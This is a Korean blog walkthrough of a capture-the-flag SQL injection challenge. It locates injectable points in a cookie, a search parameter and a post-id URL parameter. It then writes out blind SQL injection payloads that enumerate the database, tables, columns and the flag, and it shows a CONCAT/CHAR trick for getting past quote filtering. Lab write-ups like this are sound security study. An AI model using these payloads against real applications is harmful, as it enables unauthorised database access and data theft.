상세 컨텐츠

본문 제목

Segfault CTF - (8주 차) SQL Injection Point 1

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 12. 13:42

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection Point 1

1. 목표 : SQL Injection으로 flag를 찾아내자!

2. 실행

→ BurpSutie로 살펴본 결과

  • ① 쿠키에 SQLi Point
  • 검색 기능에 option_val 파라미터 SQLi Point
  • ③ 게시글 id URL파라미터에 SQLi Point

→ 총 3가지 SQLi point가 있었다.

 

▶① 쿠키에 SQLi Point

→ 로그인을 한 뒤, Mypage에서 쿠키 ID에 SQLi를 해보았다.

쿠키에 t1234' and true#를 입력한 경우
t1234' and false#를 입력한 경우

→ SLQi point를 찾았으니 blind sqli을 하면 된다.

→ 공격 포맷은 t1234' and ascii(substr((SQL 구문),1,1))>97# 이다.

 

1단계 DATABASE 이름

t1234' and ascii(substr(database(),1,1))>97#

→ 같은 원리로 값을 찾아내었다.

→ sqli_6가 나왔다.

 

2단계 Table 이름

→ t1234' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='sqli_6' LIMIT 2,1),1,1))>0) #; 참, Table 개수는 3개였다.

→ 같은 원리로 값을 찾아내었다.

→ board, flag_table, member

 

3단계 Column 이름

→ t1234' and (ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_6' AND TABLE_NAME ='flag_table' LIMIT 0,1 ),1,1))>0) #;

→ 같은 원리로 값을 찾아내었다.

→ idx, flag

 

4단계 값

 t1234' and (ascii(substr((SELECT flag FROM sqli_6.flag_table LIMIT 0,1),1,1))>0) #;

→ 같은 원리로 값을 찾아내었다.

→ flagIsHere!!Come, segfault{플래그}

 

검색 기능에 option_val 파라미터 SQLi Point

 

→ username을 1#으로 바꾸니 모든 글이 보인다.

→ 1이 true라서 그런 것 같다. true#을 넣어도 같은 결과이고,

→ false#이나 0#을 넣으면 글이 보이지 않는다.

→ SLQi point를 찾았으니 Blind SQLi를 하면 될 것 같다.

 

→ 다른 공격 방법으로 이미 DATABASE이름은 알고 있으므로 첫 글자만 테스트해 보았다.

username and ascii(substr(database(),1,1))=115#를 입력하니 참인 결과가 나왔다.

→ 따옴표가 안 되는 부분은 CONCAT함수와 CHAR함수로 해결하면 될 것이다. (아래 3번 URL파라미터 참조)

→ SQLi point가 맞다

 

게시글 id URL파라미터에 SQLi Point

→ 이 부분은 Burp Suite로 하면 오히려 불편했다. 띄어쓰기가 안되었다.

→ URL 인코딩 때문인 것 같다. 쉽게 바꿀 수 있는 기능이 있는데 내가 모르는 것일 수도 있다.

버프스위트로 하려니 오히려 힘들다.

 

이 부분이 SQLi Point이다.

 

이렇게 입력해보니 글이 보이지 않았다.

 

→ 본인이 글을 하나 쓴 뒤 게시글을 클릭해서 게시글의 id파라미터를 알아내었다.

→ 나의 경우 내 글이 179번이었다.

→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and 0# 

→ 위를 입력하면 아래와 같이 자동 변환되고 글이 보이지 않는다.
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179%20and%200# 

→ and 1#을 입력하면 글이 보였다. (and true#랑 같으므로)

→ SQLi point로 확인되었으니 Blind SQLi를 하면 될 것 같다.

 

→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and ascii(substr(database(),1,1))=115#  

→ 위를 입력하면 아래와 같이 변환되고

→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179%20and%20ascii(substr(database(),1,1))=115#

→ 참으로 Blind SQLi가 가능했다.

→ SQLi point가 맞다

 

→ 다만 따옴표가 먹히지 않았다. database()='sqli_6'처럼 확인은 불가능했다.

→ 이 부분은 CONCAT 함수와 CHAR 함수로 따옴표 없이 해결이 가능했다.

→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and database()=CONCAT(CHAR(115),CHAR(113),CHAR(108),CHAR(105),CHAR(95),CHAR(54))

→ 참인 결과가 나왔다.

→ 아스키코드 115 113 108 105 95 54는 sqli_6이다.

관련글 더보기